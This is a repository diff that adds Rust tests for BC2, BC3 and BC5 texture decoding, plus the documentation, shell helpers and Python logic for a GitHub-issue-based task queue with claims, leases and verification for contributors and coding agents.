// p2 = (170,0,85), p3 = (85,0,170). Texels 0..3 use indices 0..3.
let alpha = [0x10, 0x32, 0x54, 0x76, 0x98, 0xBA, 0xDC, 0xFE];
for (c0, c1, mid) in [
(0xF800, 0x001F, [[170, 0, 85], [85, 0, 170]]),
// Endpoints swapped: still four-colour mode, no transparent index.
(0x001F, 0xF800, [[85, 0, 170], [170, 0, 85]]),
] {
let mut block = [0u8; 16];
block[..8].copy_from_slice(&alpha);
block[8..].copy_from_slice(&colour_bytes(c0, c1, 0b11_10_01_00));
let out = decode_bc2(block);
let first = if c0 == 0xF800 {
[255, 0, 0]
} else {
[0, 0, 255]
};
let second = if c0 == 0xF800 {
[0, 0, 255]
} else {
[255, 0, 0]
};
let rgb = [first, second, mid[0], mid[1]];
for t in 0..16 {
assert_eq!(out[t][3], t as u8 * 17, "alpha texel {t}");
if t < 4 {
assert_eq!(out[t][..3], rgb[t], "colour texel {t}");
} else {
assert_eq!(out[t][..3], first, "colour texel {t}");
}
}
}
}
#[test]
fn bc3_uses_bc4_style_alpha_and_four_colour_block() {
let mut block = [0u8; 16];
block[..8].copy_from_slice(&bc4(200, 100, SEQ));
// c0 < c1 would be 3-colour in BC1; index 3 must stay interpolated.
block[8..].copy_from_slice(&colour_bytes(0x001F, 0xF800, 0xFFFF_FFFF));
let out = decode_bc3(block);
let alpha = expect([200, 100, 185, 171, 157, 142, 128, 114]);
for t in 0..16 {
assert_eq!(out[t][3], alpha[t]);
assert_eq!(out[t][..3], [170, 0, 85]);
}
// Six-value alpha mode.
block[..8].copy_from_slice(&bc4(100, 200, SEQ));
let alpha = expect([100, 200, 120, 140, 160, 180, 0, 255]);
let out = decode_bc3(block);
for t in 0..16 {
assert_eq!(out[t][3], alpha[t]);
}
}
#[test]
fn bc5_channel_order_is_red_then_green() {
// All texels index 1 = 0b001 repeated: bytes 0x49 0x92 0x24 twice.
let ones = [0x49, 0x92, 0x24, 0x49, 0x92, 0x24];
let mut block = [0u8; 16];
block[..2].copy_from_slice(&[200, 100]);
block[2..8].copy_from_slice(&ones);
block[8..10].copy_from_slice(&[100, 200]);
block[10..].copy_from_slice(&ones);
for texel in decode_bc5_unorm(block) {
assert_eq!(texel, [100, 200]);
}
}
#[test]
fn bc5_snorm_channels_and_fixed_values() {
// Index 6 = 0b110 repeated: bytes 0xB6 0x6D 0xDB twice.
let sixes = [0xB6, 0x6D, 0xDB, 0xB6, 0x6D, 0xDB];
let mut block = [0u8; 16];
// Red: a0=100 > a1=-100, index 6 = -42. Green: a0=-100 <= a1=100, index 6 = -127.
block[..2].copy_from_slice(&[100, 0x9C]);
block[2..8].copy_from_slice(&sixes);
block[8..10].copy_from_slice(&[0x9C, 100]);
block[10..].copy_from_slice(&sixes);
for texel in decode_bc5_snorm(block) {
assert_eq!(texel, [-42, -127]);
}
}
+1
View File
@@ -48,3 +48,4 @@ either path. The [changelog](../CHANGELOG.md) records notable changes.
- [Threat model](threat-model.md) and [security reporting](../SECURITY.md) — Execution limits and disclosure instructions.
- [Legal scope](legal.md), [dependency licensing](licenses.md), and [third-party notices](../THIRD_PARTY_NOTICES.md) — Input policy, attribution, and redistribution findings.
- [Contribution guidelines](../CONTRIBUTING.md) — Original authorship, Developer Certificate of Origin sign-off, and evidence requirements.
- [Agent task queue](coordination/agent-tasks.md) — Areas, claiming, leases, upstream sync, verification and the security model for parallel contributors and coding agents.
+121
View File
@@ -0,0 +1,121 @@
# Agent task queue
Work items are GitHub issues. Contributors and coding agents claim them with a comment, work in
their own branch, and open a pull request that is checked against the claim. The queue is
deterministic: the rules live in `scripts/agent_queue/` (standard-library Python, no network, no
model or external service), and GitHub Actions and the shell helpers only call it.
Status: implemented and unit-tested locally. **Not yet run on GitHub**: the workflows are untested
against the real API until the first live run.
## Areas
| Area | Owner | Scope |
| --- | --- | --- |
| `cpu` | maintainer | CPU translation, ARM64 dynamic binary translation, PE loading, guest startup, core guest memory |
| `gpu` | GPU contributor | RDNA2, shaders, graphics, Metal |
| `runtime` | runtime contributor | Win32, CRT, C++ runtime, import generation, OS services, platform abstractions |
| `shared` | agreed by the owners involved | Interfaces that cross subsystems |
| `qa` | any qa contributor | Independent verification, regression testing, security review |
Who may claim what is in `.github/agent-queue.json` (`maintainers`, `contributors`, `lease_hours`,
`upstream`). The file is plain JSON, so the notes live here: the maintainer must add the runtime
contributor's GitHub login under `contributors` (for example `"their-login": ["runtime", "qa"]`)
before that person can claim. Maintainers may claim any area; others only the areas listed for them.
## One-time label bootstrap (maintainer)
```sh
for l in agent:ready agent:claimed agent:blocked agent:invalid agent:conflict \
area:cpu area:gpu area:runtime area:shared area:qa \
priority:critical priority:high priority:medium priority:low; do
gh label create "$l" --force --color BFD4F2
done
```
`claimed-by:<login>` labels are created by the workflow when a claim is granted.
## Lifecycle
1. Post a task with the *Agent task* issue form or `scripts/agent-queue.sh new body.md "task: title"`.
Area, Priority, Files (exact paths, `dir/` prefixes, `*` and `**` globs), Acceptance command,
Depends on and, for shared work, Interface (interface name and the version or upstream commit
it targets).
2. `scripts/agent-queue.sh next <area>` picks the highest-priority task you may claim now.
3. `scripts/agent-queue.sh claim <n>` posts `/claim` and waits until the bot confirms: a grant
comment carrying a marker, and the label `claimed-by:<you>`. **Do not edit anything before it
prints "claimed".** Refusals name the reason: not `agent:ready`, area not allowed for you, open
or missing dependency, dependency cycle, or file overlap with a claimed task (the issue is named).
Claims are decided one at a time across the whole repository, so two overlapping claims cannot both win.
4. `scripts/agent-queue.sh start <n>` creates branch `task/<n>-<slug>` from `upstream/main` in a
separate worktree `../xenora-task-<n>` (`--here` uses the current clean checkout instead).
5. Keep the lease alive with `scripts/agent-queue.sh progress <n> "what changed"`. A claim lapses
`lease_hours` (24) after the latest of: the grant, your `/progress` comment, a push to your
linked pull request. Other people's comments never renew it. A lapsed task returns to the queue.
6. Open the pull request with `Closes #<n>` and a DCO sign-off (`git commit -s`).
7. A different person (not the author, not the task holder) who is a maintainer or has `qa`
comments `/verified <head sha>` after running the acceptance command. A new push changes the
head and invalidates the verification.
## Commands (issue comments)
| Command | Who | Effect |
| --- | --- | --- |
| `/claim` | allowed for the area | Take a ready task |
| `/release` | holder or maintainer | Return the task to the queue |
| `/reassign <login>` | maintainer | Hand the task to someone allowed for its area; new lease |
| `/progress <text>` | holder | Renew the lease (text required) |
| `/blocked <reason>`, `/unblock` | holder or maintainer | Set or clear `agent:blocked` |
| `/approve-acceptance` | maintainer | Authorise the acceptance command as currently written |
| `/verified <sha>` (on a pull request) | maintainer or `qa`, not author, not holder | Independent verification of the current head |
Labels: `area:<x>`, `priority:<critical|high|medium|low>`, `agent:ready|claimed|blocked|invalid|conflict`,
`claimed-by:<login>`. An hourly audit lapses stale claims, marks tasks with missing dependencies or
cycles `agent:invalid` (and restores them when fixed), flags overlapping claims `agent:conflict`, and
writes a JSON summary to the run summary. `scripts/agent-queue.sh status --json` prints the same
machine-readable summary (counts and lists per area, priority and state).
## Pull request checks
`agent-pr-checks` fails a pull request when: it has no `Closes #N` for a claimed task; the task is held
by someone else; it changes files outside the task's patterns; it changes a file that another open
pull request also changes; the claim has lapsed without a push; or no eligible `/verified <current
head sha>` exists. After a `/verified` comment the check is re-run automatically.
## Forks and upstream sync
Work from a fork, but synchronise against the real upstream (`ranveersoni98/Xenora` in the
config), never only your fork's `origin/main`. `scripts/agent-sync.sh` adds the remote `upstream` if
missing (it never touches `origin`), fetches every 12 minutes (`--interval 10..15`, `--once` for one
pass) and, after each fetch, lists new upstream commits that touch files of tasks you hold. It never
merges by itself; `--merge` merges `upstream/main` into the current task branch only when the tree
is clean. It works from any worktree.
Interface changes during work, for example the maintainer's unpublished changes landing: put the
interface in a `shared` task whose Interface field names the version or commit other tasks target.
Tasks that depend on it list it in Depends on, so they cannot be claimed before it closes, and a
sync report that shows upstream touching your files is the signal to re-read the interface and merge.
## Security model
- Issue and comment text is data. It is parsed by fixed rules and never evaluated, never put into a
shell command line, and workflow expressions never appear inside `run:` blocks (event data is read
from the event file).
- Acceptance commands are never run automatically. `scripts/agent-queue.sh acceptance <n>` prints
one only when a maintainer's `/approve-acceptance` marker (posted by the bot) matches a hash of
the current text; editing the issue body invalidates the approval. Read the command before running it.
- Markers (grant, approval) count only when posted by the Actions bot, so they cannot be forged in a comment.
- Workflows declare empty top-level permissions and grant each job only what it needs; actions are
pinned by commit SHA. Pull request checks run on the base branch (`pull_request_target`), never
check out or run pull request code and read changed files through the API.
- Clean-room, DCO and native ARM64 rules in `AGENTS.md` and `CONTRIBUTING.md` apply unchanged.
## Tests
```sh
PYTHONPATH=scripts python3 -m unittest discover -s tests/agent_queue -v
sh -n scripts/agent-queue.sh scripts/agent-sync.sh
```
The tests cover command decisions, overlap, cycles, leases, acceptance hashing, pull request checks,
the summary, the CLI and a structural check of the workflow files. They do not exercise GitHub itself.
+153
View File
@@ -0,0 +1,153 @@
#!/bin/sh
# SPDX-License-Identifier: GPL-3.0-or-later
# Agent task queue helper: a thin wrapper over `python3 -m agent_queue` and gh.
# Always talks to the upstream repository named in .github/agent-queue.json, not to a fork.
# See docs/coordination/agent-tasks.md. Issue text is data: nothing from it is ever executed.
set -eu
root=$(cd "$(dirname "$0")/.." && pwd)
PYTHONPATH="$root/scripts"
export PYTHONPATH
aq() { python3 -m agent_queue --config "$root/.github/agent-queue.json" "$@"; }
repo=$(aq config-get upstream)
tmp=$(mktemp -d "${TMPDIR:-/tmp}/agent-queue.XXXXXX")
trap 'rm -rf "$tmp"' EXIT INT TERM
usage() {
cat >&2 <<'USAGE'
usage: scripts/agent-queue.sh list [area] [--json] ready tasks, by priority then number
scripts/agent-queue.sh next <area> best claimable task for you in <area>
scripts/agent-queue.sh claim <issue> claim and wait for the confirmed grant
scripts/agent-queue.sh start <issue> [--here] branch task/<n>-<slug> from upstream/main in a new worktree
scripts/agent-queue.sh progress <issue> <text> progress note; renews the lease
scripts/agent-queue.sh release <issue> give the task back
scripts/agent-queue.sh reassign <issue> <login> maintainers only
scripts/agent-queue.sh acceptance <issue> print the acceptance command only if a maintainer approved it
scripts/agent-queue.sh status [--json] queue summary
scripts/agent-queue.sh new <body.md> <title> open a task from a body that follows the template
USAGE
exit 2
}
isnum() { case "$1" in ''|*[!0-9]*) echo "not an issue number: $1" >&2; exit 2 ;; esac; }
me() { gh api user -q .login; }
state() { aq gather --repo "$repo" --no-prs > "$tmp/state.json"; }
fetch() { aq fetch-issue --repo "$repo" --issue "$1" > "$tmp/issue.json"; }
post() { gh issue comment "$1" -R "$repo" --body "$2" >/dev/null; }
[ $# -ge 1 ] || usage
command=$1
shift
case "$command" in
list)
area=""
json=""
for a in "$@"; do
case "$a" in --json) json=--json ;; *) area=$a ;; esac
done
state
aq list --state "$tmp/state.json" --area "$area" $json
;;
next)
[ $# -eq 1 ] || usage
state
aq next --state "$tmp/state.json" --area "$1" --login "$(me)"
;;
claim)
[ $# -eq 1 ] || usage
isnum "$1"
login=$(me)
fetch "$1"
skip=$(python3 -c 'import json,sys; print(len(json.load(open(sys.argv[1]))["comments"]))' "$tmp/issue.json")
post "$1" /claim
i=0
while [ "$i" -lt 18 ]; do
sleep 10
i=$((i + 1))
fetch "$1"
rc=0
msg=$(aq claim-status --data "$tmp/issue.json" --login "$login" --skip "$skip") || rc=$?
case "$rc" in
0) echo "claimed #$1 as $login; you may start editing"; exit 0 ;;
1) echo "$msg" >&2; exit 1 ;;
esac
done
echo "claim of #$1 not confirmed within 3 minutes; do not start editing" >&2
exit 1
;;
start)
[ $# -ge 1 ] || usage
isnum "$1"
n=$1
here=no
[ "${2:-}" != "--here" ] || here=yes
login=$(me)
fetch "$n"
rc=0
aq claim-status --data "$tmp/issue.json" --login "$login" >/dev/null || rc=$?
[ "$rc" -eq 0 ] || { echo "no confirmed claim of #$n for $login: run claim first" >&2; exit 1; }
slug=$(python3 -c 'import json,re,sys; print(re.sub(r"[^a-z0-9]+","-",json.load(open(sys.argv[1]))["issues"][0]["title"].lower().replace("task:","")).strip("-")[:40])' "$tmp/issue.json")
branch="task/$n${slug:+-$slug}"
sh "$root/scripts/agent-sync.sh" --setup
git -C "$root" fetch upstream
if [ "$here" = yes ]; then
[ -z "$(git -C "$root" status --porcelain)" ] || { echo "working tree not clean" >&2; exit 1; }
git -C "$root" switch -c "$branch" upstream/main
echo "on $branch (from upstream/main)"
else
dir="$root/../xenora-task-$n"
git -C "$root" worktree add -b "$branch" "$dir" upstream/main
echo "worktree $dir on $branch (from upstream/main)"
fi
;;
progress)
[ $# -ge 2 ] || usage
isnum "$1"
n=$1
shift
post "$n" "/progress $*"
;;
release)
[ $# -eq 1 ] || usage
isnum "$1"
post "$1" /release
;;
reassign)
[ $# -eq 2 ] || usage
isnum "$1"
post "$1" "/reassign $2"
;;
acceptance)
[ $# -eq 1 ] || usage
isnum "$1"
fetch "$1"
python3 - "$tmp/issue.json" "$tmp/i.json" "$tmp/c.json" <<'PY'
import json, sys
d = json.load(open(sys.argv[1]))
json.dump(d["issues"][0], open(sys.argv[2], "w"))
json.dump(d["comments"], open(sys.argv[3], "w"))
PY
aq acceptance --issue "$tmp/i.json" --comments "$tmp/c.json"
;;
status)
state
if [ "${1:-}" = "--json" ]; then
aq summary --state "$tmp/state.json"
else
aq summary --state "$tmp/state.json" --text
fi
;;
new)
[ $# -eq 2 ] || usage
labels=$(aq check-body --file "$1")
for l in agent:ready $labels; do
gh label create "$l" -R "$repo" --force --color BFD4F2 >/dev/null
done
gh issue create -R "$repo" --label agent:ready --label "$(printf '%s\n' "$labels" | sed -n 1p)" \
--label "$(printf '%s\n' "$labels" | sed -n 2p)" --title "$2" --body-file "$1"
;;
*)
usage
;;
esac
+86
View File
@@ -0,0 +1,86 @@
#!/bin/sh
# SPDX-License-Identifier: GPL-3.0-or-later
# Keeps a checkout in step with the real upstream repository (not a fork's origin).
# agent-sync.sh [--once] [--interval MINUTES] [--merge] [--setup]
# --setup only make sure the `upstream` remote exists, then exit
# --once one fetch and report, then exit (default: repeat every 12 minutes)
# --merge merge upstream/main into the current task branch if the tree is clean
# After each fetch it lists new upstream commits that touch files of tasks you hold, so
# interface changes landing during your work are noticed. Nothing is merged unless --merge.
set -eu
root=$(cd "$(dirname "$0")/.." && pwd)
PYTHONPATH="$root/scripts"
export PYTHONPATH
aq() { python3 -m agent_queue --config "$root/.github/agent-queue.json" "$@"; }
once=no
setup=no
merge=no
interval=12
while [ $# -gt 0 ]; do
case "$1" in
--once) once=yes ;;
--setup) setup=yes ;;
--merge) merge=yes ;;
--interval) shift; interval=${1:?minutes} ;;
*) echo "usage: agent-sync.sh [--once] [--interval 10-15] [--merge] [--setup]" >&2; exit 2 ;;
esac
shift
done
case "$interval" in ''|*[!0-9]*) echo "interval must be whole minutes" >&2; exit 2 ;; esac
if [ "$interval" -lt 10 ] || [ "$interval" -gt 15 ]; then
echo "interval must be 10-15 minutes" >&2
exit 2
fi
upstream_repo=$(aq config-get upstream)
url="https://github.com/$upstream_repo.git"
git -C "$root" rev-parse --git-dir >/dev/null
if ! git -C "$root" remote get-url upstream >/dev/null 2>&1; then
git -C "$root" remote add upstream "$url"
echo "added remote upstream -> $url"
elif [ "$(git -C "$root" remote get-url upstream)" != "$url" ]; then
echo "remote upstream is $(git -C "$root" remote get-url upstream), expected $url; fix it by hand (origin is never changed)" >&2
exit 1
fi
[ "$setup" = no ] || exit 0
pass() {
old=$(git -C "$root" rev-parse -q --verify refs/remotes/upstream/main || true)
git -C "$root" fetch --quiet upstream
new=$(git -C "$root" rev-parse refs/remotes/upstream/main)
if [ -n "$old" ] && [ "$old" != "$new" ]; then
echo "upstream/main moved: $(git -C "$root" rev-list --count "$old..$new") new commit(s)"
tmp=$(mktemp -d "${TMPDIR:-/tmp}/agent-sync.XXXXXX")
login=$(gh api user -q .login)
aq gather --repo "$upstream_repo" --no-prs > "$tmp/state.json"
git -C "$root" log --name-only --format='@%h' "$old..$new" |
awk '/^@/ {sha=substr($0,2); next} NF {print sha "\t" $0}' > "$tmp/files.tsv"
aq touch --state "$tmp/state.json" --login "$login" < "$tmp/files.tsv" > "$tmp/hits.json"
if [ "$(tr -d ' \n' < "$tmp/hits.json")" != "[]" ]; then
echo "upstream changed files of tasks you hold (check for interface changes):"
cat "$tmp/hits.json"
fi
rm -rf "$tmp"
elif [ -z "$old" ]; then
echo "fetched upstream/main at $(printf '%s' "$new" | cut -c1-12)"
else
echo "upstream/main unchanged"
fi
if [ "$merge" = yes ]; then
if [ -n "$(git -C "$root" status --porcelain)" ]; then
echo "not merging: working tree not clean" >&2
else
git -C "$root" merge --no-edit upstream/main
fi
fi
}
pass
[ "$once" = yes ] && exit 0
while true; do
sleep $((interval * 60))
pass
done
+6
View File
@@ -0,0 +1,6 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Deterministic agent task queue logic. Pure functions, standard library only.
Issue and comment text is untrusted data: it is parsed, never evaluated and
never passed to a shell.
"""
+6
View File
@@ -0,0 +1,6 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import sys
from .cli import main
sys.exit(main(sys.argv[1:]))
+153
View File
@@ -0,0 +1,153 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Command line entry: PYTHONPATH=scripts python3 -m agent_queue <subcommand>. JSON in, JSON out."""
import argparse
import json
import sys
from datetime import datetime, timezone
from . import config as cfgmod
from . import ghio
from . import lease as L
from . import prcheck, queue
from . import tasks as T
from . import decide as decide_mod
from .decide import decide
from .patterns import path_matches
def _load(path):
with open(path, encoding="utf-8") if path != "-" else sys.stdin as fh:
return json.load(fh)
def _now(arg):
return T.parse_time(arg) if arg else datetime.now(timezone.utc)
def _out(obj):
json.dump(obj, sys.stdout, indent=2, sort_keys=True)
sys.stdout.write("\n")
def main(argv):
p = argparse.ArgumentParser(prog="agent_queue")
p.add_argument("--config", default=".github/agent-queue.json")
p.add_argument("--now", default="", help="UTC time YYYY-MM-DDTHH:MM:SSZ (tests)")
sub = p.add_subparsers(dest="cmd", required=True)
s = sub.add_parser("gather"); s.add_argument("--repo", required=True); s.add_argument("--no-prs", action="store_true"); s.add_argument("--pr", type=int, default=0)
s = sub.add_parser("decide"); s.add_argument("--event", required=True); s.add_argument("--state", required=True)
s = sub.add_parser("apply"); s.add_argument("--repo", required=True); s.add_argument("--actions", required=True)
s = sub.add_parser("audit"); s.add_argument("--state", required=True)
s = sub.add_parser("summary"); s.add_argument("--state", required=True); s.add_argument("--text", action="store_true")
s = sub.add_parser("pr-check"); s.add_argument("--state", required=True)
s = sub.add_parser("acceptance"); s.add_argument("--issue", required=True); s.add_argument("--comments", required=True)
s = sub.add_parser("task"); s.add_argument("--issue", required=True)
s = sub.add_parser("touch"); s.add_argument("--state", required=True); s.add_argument("--login", required=True)
s = sub.add_parser("fetch-issue"); s.add_argument("--repo", required=True); s.add_argument("--issue", type=int, required=True)
s = sub.add_parser("claim-status"); s.add_argument("--data", required=True); s.add_argument("--login", required=True); s.add_argument("--skip", type=int, default=0)
s = sub.add_parser("list"); s.add_argument("--state", required=True); s.add_argument("--area", default=""); s.add_argument("--json", action="store_true")
s = sub.add_parser("next"); s.add_argument("--state", required=True); s.add_argument("--area", required=True); s.add_argument("--login", required=True)
s = sub.add_parser("check-body"); s.add_argument("--file", required=True)
s = sub.add_parser("event"); s.add_argument("--path", required=True)
s = sub.add_parser("config-get"); s.add_argument("key")
a = p.parse_args(argv)
cfg = cfgmod.load(a.config)
if a.cmd == "event":
# normalise a GitHub webhook payload file (issue_comment or pull_request_target)
ev = _load(a.path)
item = ev.get("issue") or ev.get("pull_request") or {}
who = (ev.get("comment") or {}).get("user") or item.get("user") or {}
_out({"kind": "pr" if ("pull_request" in ev or "pull_request" in item) else "issue",
"number": item.get("number"), "actor": who.get("login", ""),
"body": (ev.get("comment") or {}).get("body", "")})
elif a.cmd == "config-get":
v = cfg[a.key]
print(v if isinstance(v, (str, int, float)) else json.dumps(v))
elif a.cmd == "gather":
st = ghio.gather(a.repo, with_prs=not a.no_prs)
if a.pr:
st["pr"] = ghio.pr_data(a.repo, a.pr)
st["pr_comments"] = ghio.comments(a.repo, a.pr)
_out(st)
elif a.cmd == "decide":
_out(decide(_load(a.event), _load(a.state), cfg))
elif a.cmd == "apply":
ghio.apply_actions(a.repo, _load(a.actions))
elif a.cmd == "audit":
_out(queue.audit(_load(a.state), cfg, _now(a.now)))
elif a.cmd == "summary":
res = queue.summary(_load(a.state), a.now)
if a.text:
for r in res["tasks"]:
print("#%d\t%s\t%s\t%s\t%s\t%s" % (r["number"], r["state"], r["area"], r["priority"], r["holder"] or "-", r["title"]))
else:
_out(res)
elif a.cmd == "pr-check":
res = prcheck.check_pr(_load(a.state), cfg, _now(a.now))
_out(res)
return 0 if res["ok"] else 1
elif a.cmd == "task":
_out(T.parse_task(_load(a.issue)))
elif a.cmd == "acceptance":
task = T.parse_task(_load(a.issue))
want = L.approved_hash(_load(a.comments))
if not T.normalise_acceptance(task["acceptance"]) or want != T.acceptance_hash(task["acceptance"]):
sys.stderr.write("not authorized: no maintainer approval matches the current acceptance command\n")
return 3
print(T.normalise_acceptance(task["acceptance"]))
elif a.cmd == "fetch-issue":
_out({"issues": [ghio.issue(a.repo, a.issue)], "comments": ghio.comments(a.repo, a.issue)})
elif a.cmd == "claim-status":
data = _load(a.data)
task = T.parse_task(data["issues"][0])
comments = data["comments"]
if task["holder"] == a.login and "agent:claimed" in task["labels"] and L.latest_grant(comments, task["number"], a.login):
print("granted")
return 0
for c in reversed(comments[a.skip:]):
if c["user"] in L.BOT and c["body"].startswith("Claim refused for %s:" % a.login):
print(c["body"].split("\n", 1)[0])
return 1
print("pending")
return 2
elif a.cmd == "list":
tasks = decide_mod.task_index(_load(a.state))
rows = [t for t in tasks.values() if t["state"] == "OPEN" and "agent:ready" in t["labels"]
and (not a.area or t["area"] == a.area)]
rows.sort(key=lambda t: (cfgmod.PRIORITIES.index(t["priority"]), t["number"]))
if a.json:
_out([{k: t[k] for k in ("number", "title", "area", "priority", "depends", "files")} for t in rows])
else:
for t in rows:
print("#%d\t%s\t%s\t%s" % (t["number"], t["area"], t["priority"], t["title"]))
elif a.cmd == "next":
tasks = decide_mod.task_index(_load(a.state))
rows = sorted((t for t in tasks.values() if t["state"] == "OPEN" and t["area"] == a.area),
key=lambda t: (cfgmod.PRIORITIES.index(t["priority"]), t["number"]))
for t in rows:
if not decide_mod.claim_problem(t, tasks, cfg, a.login):
print(t["number"])
return 0
sys.stderr.write("no claimable task in area %s\n" % a.area)
return 1
elif a.cmd == "check-body":
with open(a.file, encoding="utf-8") as fh:
t = T.parse_task({"number": 0, "body": fh.read()})
if not t["area"] or not t["files"] or not T.normalise_acceptance(t["acceptance"]):
sys.stderr.write("body needs a valid Area, Files and Acceptance command section\n")
return 1
print("area:" + t["area"])
print("priority:" + t["priority"])
elif a.cmd == "touch":
# stdin lines "<sha>\t<path>"; report those touching patterns of tasks held by login
state, hits = _load(a.state), []
held = [T.parse_task(i) for i in state["issues"]]
held = [t for t in held if t["holder"] == a.login and t["state"] == "OPEN"]
for line in sys.stdin.read().splitlines():
sha, _, path = line.partition("\t")
for t in held:
if any(path_matches(path, pat) for pat in t["files"]):
hits.append({"commit": sha, "path": path, "task": t["number"]})
_out(hits)
return 0
+34
View File
@@ -0,0 +1,34 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
AREAS = ("cpu", "gpu", "runtime", "shared", "qa")
PRIORITIES = ("critical", "high", "medium", "low")
DEFAULT = {"lease_hours": 24, "maintainers": [], "contributors": {}, "upstream": ""}
def parse(text):
data = json.loads(text)
cfg = dict(DEFAULT)
cfg.update({k: data[k] for k in DEFAULT if k in data})
if not isinstance(cfg["lease_hours"], (int, float)) or cfg["lease_hours"] <= 0:
raise ValueError("lease_hours must be a positive number")
return cfg
def load(path):
with open(path, encoding="utf-8") as fh:
return parse(fh.read())
def is_maintainer(cfg, login):
return login in cfg["maintainers"]
def may_work_on(cfg, login, area):
if is_maintainer(cfg, login):
return True
return area in cfg["contributors"].get(login, [])
def is_verifier(cfg, login):
return is_maintainer(cfg, login) or "qa" in cfg["contributors"].get(login, [])
+153
View File
@@ -0,0 +1,153 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Comment command decisions. Returns actions as data; the caller applies them."""
from . import config as cfgmod
from . import lease as L
from . import tasks as T
COMMANDS = ("/claim", "/release", "/reassign", "/progress", "/blocked", "/unblock",
"/approve-acceptance", "/verified")
def parse_command(body):
first = (body or "").strip().split("\n", 1)[0].strip()
parts = first.split(None, 1)
if not parts or parts[0] not in COMMANDS:
return None, ""
return parts[0], (parts[1].strip() if len(parts) > 1 else "")
def _act(issue, add=(), remove=(), comment=""):
return {"issue": issue, "add_labels": list(add), "remove_labels": list(remove), "comment": comment}
def _reply(issue, text):
return [_act(issue, comment=text)]
def task_index(state):
return {int(i["number"]): T.parse_task(i) for i in state.get("issues", [])}
def claim_problem(task, tasks, cfg, actor):
if "agent:ready" not in task["labels"]:
who = " (held by %s)" % task["holder"] if task["holder"] else ""
return "not claimable: the issue is not labelled agent:ready%s." % who
if not task["area"]:
return "not claimable: the Area field is missing or not one of %s." % ", ".join(cfgmod.AREAS)
if not cfgmod.may_work_on(cfg, actor, task["area"]):
return "%s is not allowed to claim area:%s tasks (see .github/agent-queue.json)." % (actor, task["area"])
if not task["files"]:
return "not claimable: the Files field lists no paths."
d = T.dep_problems(task, tasks)
if d["missing"]:
return "dependency issue(s) not found: %s." % ", ".join("#%d" % n for n in d["missing"])
if d["cycle"]:
return "dependency cycle: %s." % " -> ".join("#%d" % n for n in d["cycle"])
if d["open"]:
return "open dependencies: %s." % ", ".join("#%d" % n for n in d["open"])
from .patterns import sets_overlap
for other in sorted(tasks.values(), key=lambda t: t["number"]):
if other["number"] == task["number"] or other["state"] != "OPEN":
continue
if "agent:claimed" not in other["labels"]:
continue
hit = sets_overlap(task["files"], other["files"])
if hit:
return "file overlap with claimed task #%d (`%s` vs `%s`)." % (other["number"], hit[0], hit[1])
return ""
def decide(event, state, cfg):
cmd, arg = parse_command(event.get("body"))
if cmd is None:
return []
actor, n = event["actor"], int(event["number"])
if cmd == "/verified":
return _verified(event, state, cfg, arg)
if event.get("kind") == "pr":
return []
tasks = task_index(state)
task = tasks.get(n)
if task is None or task["state"] != "OPEN":
return []
holder = task["holder"]
maint = cfgmod.is_maintainer(cfg, actor)
if cmd == "/claim":
problem = claim_problem(task, tasks, cfg, actor)
if problem:
return _reply(n, "Claim refused for %s: %s" % (actor, problem))
text = "Claimed by %s. The claim lapses %s hours after the latest grant, /progress comment or push to the linked pull request.\n%s" % (
actor, cfg["lease_hours"], L.grant_marker(n, actor))
return [_act(n, ["agent:claimed", "claimed-by:" + actor], ["agent:ready"], text)]
if cmd == "/release":
if "agent:claimed" not in task["labels"]:
return _reply(n, "Nothing to release: the task is not claimed.")
if actor != holder and not maint:
return _reply(n, "Only the holder (%s) or a maintainer can release this claim." % holder)
return [_act(n, ["agent:ready"], ["agent:claimed", "agent:blocked", "claimed-by:" + holder],
"Released by %s; the task is back in the queue." % actor)]
if cmd == "/reassign":
if not maint:
return _reply(n, "Only a maintainer can reassign tasks.")
target = arg.split()[0].lstrip("@") if arg else ""
if not target:
return _reply(n, "Usage: /reassign <login>")
if not cfgmod.may_work_on(cfg, target, task["area"]):
return _reply(n, "Reassign refused: %s is not allowed to work on area:%s." % (target, task["area"]))
if not (set(task["labels"]) & {"agent:claimed", "agent:ready"}):
return _reply(n, "Reassign refused: the task is neither ready nor claimed.")
remove = ["agent:ready"] + (["claimed-by:" + holder] if holder else [])
return [_act(n, ["agent:claimed", "claimed-by:" + target], remove,
"Reassigned to %s by %s. New lease starts now.\n%s" % (target, actor, L.grant_marker(n, target)))]
if cmd == "/progress":
if "agent:claimed" not in task["labels"] or actor != holder:
return _reply(n, "Only the holder of a claimed task can post progress.")
if len(arg) < 3:
return _reply(n, "Progress needs a short description of what changed, for example `/progress parser done, tests next`. Lease not renewed.")
return _reply(n, "Lease renewed: %s more hours from now." % cfg["lease_hours"])
if cmd == "/blocked":
if actor != holder and not maint:
return _reply(n, "Only the holder or a maintainer can mark a task blocked.")
if not arg:
return _reply(n, "Usage: /blocked <reason>")
return [_act(n, ["agent:blocked"], [], "Blocked by %s: %s" % (actor, arg))]
if cmd == "/unblock":
if actor != holder and not maint:
return _reply(n, "Only the holder or a maintainer can unblock a task.")
return [_act(n, [], ["agent:blocked"], "Unblocked by %s." % actor)]
if cmd == "/approve-acceptance":
if not maint:
return _reply(n, "Only a maintainer can approve an acceptance command.")
if not T.normalise_acceptance(task["acceptance"]):
return _reply(n, "No acceptance command to approve.")
digest = T.acceptance_hash(task["acceptance"])
return _reply(n, "Acceptance command approved by %s for the current text (sha256 %s). Editing the issue body invalidates this approval; nothing runs it automatically.\n%s" % (
actor, digest[:12], L.acceptance_marker(digest)))
return []
def _verified(event, state, cfg, arg):
n, actor = int(event["number"]), event["actor"]
if event.get("kind") != "pr":
return []
pr = state.get("pr") or {}
sha = arg.split()[0] if arg else ""
head = pr.get("head_sha", "")
if actor == pr.get("author"):
return _reply(n, "Verification refused: the pull request author cannot verify it.")
tasks = task_index(state)
for issue in L.linked_issues(pr.get("body")):
if issue in tasks and tasks[issue]["holder"] == actor:
return _reply(n, "Verification refused: %s holds the linked task #%d." % (actor, issue))
if not cfgmod.is_verifier(cfg, actor):
return _reply(n, "%s may not verify: only maintainers and qa contributors can." % actor)
if len(sha) < 7 or not head.startswith(sha):
return _reply(n, "Verification refused: `%s` is not the current head %s." % (sha or "(none)", head[:12]))
return _reply(n, "Verification of %s recorded for %s." % (head[:12], actor))
+79
View File
@@ -0,0 +1,79 @@
